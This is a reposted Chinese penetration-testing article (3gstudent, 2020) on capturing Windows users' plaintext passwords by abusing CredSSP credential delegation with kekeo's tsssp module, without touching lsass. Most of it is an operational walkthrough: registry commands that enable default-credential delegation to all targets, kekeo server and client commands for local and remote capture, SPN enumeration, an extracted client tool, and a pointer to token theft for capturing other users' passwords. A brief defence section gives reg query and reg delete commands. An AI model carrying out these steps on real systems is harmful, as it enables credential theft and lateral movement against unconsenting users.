10

渗透技巧——通过CredSSP导出用户的明文口令

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87CredSSP%E5%AF%BC%E5%87%BA%E7%94%A8%E6%88%B7%E7%9A%84%E6%98%8E%E6%96%87%E5%8F%A3%E4%BB%A4/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

渗透技巧——通过CredSSP导出用户的明文口令

0x00 前言


在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。

我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》曾介绍过使用InternalMonologue获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。

本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。

这是Benjamin @gentilkiwi Delpy开源的kekeo在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。

本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。

0x01 简介


本文将要介绍以下内容:

0x02 实现原理


1.基础知识

CredSSP

全称Credential Security Support Provider protocol

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器

CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)

CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM

参考资料:

https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通过组策略设置CredSSP的凭据分配

通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据

组策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation

Alt text

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据

组策略对应的注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

3.CredSSP的凭据分配在远程桌面服务上的应用

对于工作组环境,需要启用Allow delegating default credentials with NTLM-only server authentication

对于域环境,需要启用Allow delegating default credentials

开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是hash)

数据结构如下:

TSPasswordCreds ::= SEQUENCE {
         domainName  [0] OCTET STRING,
         userName    [1] OCTET STRING,
         password    [2] OCTET STRING
 }

参考资料:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.实现原理

综上,如果我们实现以下操作:

  • 修改主机A的组策略,设置为自动发送当前用户的凭据
  • 在主机B上面实现服务端的功能,接收主机A发送的请求

那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令

CredSSP协议细节可参考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

  • 修改主机A的组策略,设置为自动发送当前用户的凭据
  • 在主机A上面实现服务端的功能,接收主机A自己发送的请求

我们同样能够获得用户的明文口令

注:

keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议

Alt text

0x03 实现方法


通过修改注册表的方式添加组策略,命令如下:

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等

对于不同的网络环境,实现方法存在差异

1.工作组网络

身份验证方式为NTLM

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword
Alt text

注:

抓取本机口令时,target参数可以设置为任意字符

2.域网络

身份验证方式为Kerberos

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

注:

抓取本机口令时,target参数可以设置为任意字符

(2)抓取远程主机口令

建立服务器的kekeo命令如下(System权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

结果如下图

Alt text

这里使用的参数为域内计算机帐户对应的SPN

查看当前域内的所有SPN可以使用setspn命令:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

0x04 利用分析


不需要同lsass进程交互,所以能够绕过对lsass进程的保护

在修改组策略后,只需要普通用户权限就能实现

注:

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等

2.其他利用思路

(1)代码的提取

我将kekeo的tsssp::client功能单独提取出来,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代码支持连接本地和远程服务器

只需要填写pipi参数,我的代码会将target参数自动补全为TERMSRV/<spn>

连接本地的命令示例:

tsssp_client.exe localhost

测试如下图

Alt text

连接远程服务器的命令示例:

tsssp_client.exe Computer01.test.com

测试如下图

Alt text

kekeo的tsssp::server功能需要安装OSS ASN.1/C

注:

使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用

(2)抓取其他用户的口令

使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可

token的利用方法可参考《渗透技巧——Token窃取与利用》

0x05 防御检测


1.查询组策略配置

查询注册表的cmd命令如下:

reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

2.删除组策略配置

删除注册表项的cmd命令如下:

reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

0x06 小结


本文介绍了kekeotsssp模块在不同环境下的利用方法,结合利用思路给出防御建议。


LEAVE A REPLY

Written on August 6, 2020

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK